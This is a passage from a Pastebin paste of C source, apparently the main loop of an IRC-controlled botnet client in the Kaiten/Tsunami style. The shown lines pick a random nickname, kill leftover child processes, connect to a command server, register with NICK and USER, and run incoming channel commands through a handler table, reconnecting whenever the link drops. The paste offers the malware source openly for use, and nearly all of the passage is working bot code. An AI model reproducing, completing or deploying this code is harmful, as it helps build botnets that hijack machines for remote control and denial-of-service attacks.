  879. user=makestring(rand() % 9 + 4);
  880. chan=CHAN;
  881. key=KEY;
  882. server=NULL;
  883. sa:
  884. #ifdef IDENT
  885. for (i=0; i<numpids; i++) {
  886. if (pids[i] != 0 && pids[i] != getpid()) {
  887. kill(pids[i],9);
  888. waitpid(pids[i],NULL,WNOHANG);
  889. }
  890. }
  891. pids=NULL;
  892. numpids=0;
  893. identd();
  894. #endif
  895. con();
  896. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  897. while(1) {
  898. unsigned long i;
  899. fd_set n;
  900. struct timeval tv;
  901. FD_ZERO(&n);
  902. FD_SET(sock,&n);
  903. tv.tv_sec=60*20;
  904. tv.tv_usec=0;
  905. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  906. for (i=0; i<numpids; i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  907. unsigned int *newpids,on;
  908. for (on=i+1; on<numpids; on++) pids[on-1]=pids[on];
  909. pids[on-1]=0;
  910. numpids--;
  911. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  912. for (on=0; on<numpids; on++) newpids[on]=pids[on];
  913. free(pids);
  914. pids=newpids;
  915. }
  916. if (FD_ISSET(sock,&n)) {
  917. char buf[4096], *str;
  918. int i;
  919. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  920. buf[i]=0;
  921. str=strtok(buf,"\n");
  922. while(str && *str) {
  923. char name[1024], sender[1024];
  924. filter(str);
  925. if (*str == ':') {
  926. for (i=0; i<strlen(str) && str[i] != ' '; i++);
  927. str[i]=0;
  928. strcpy(sender,str+1);
  929. strcpy(str,str+i+1);
  930. }
  931. else strcpy(sender,"*");
  932. for (i=0; i<strlen(str) && str[i] != ' '; i++);
  933. str[i]=0;
  934. strcpy(name,str);
  935. strcpy(str,str+i+1);
  936. for (i=0; msgs[i].cmd != (char *)0; i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  937. if (!strcasecmp(name,"ERROR")) goto sa;
  938. str=strtok((char*)NULL,"\n");
  939. }
  940. }
  941. }
  942. return 0;
  943. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!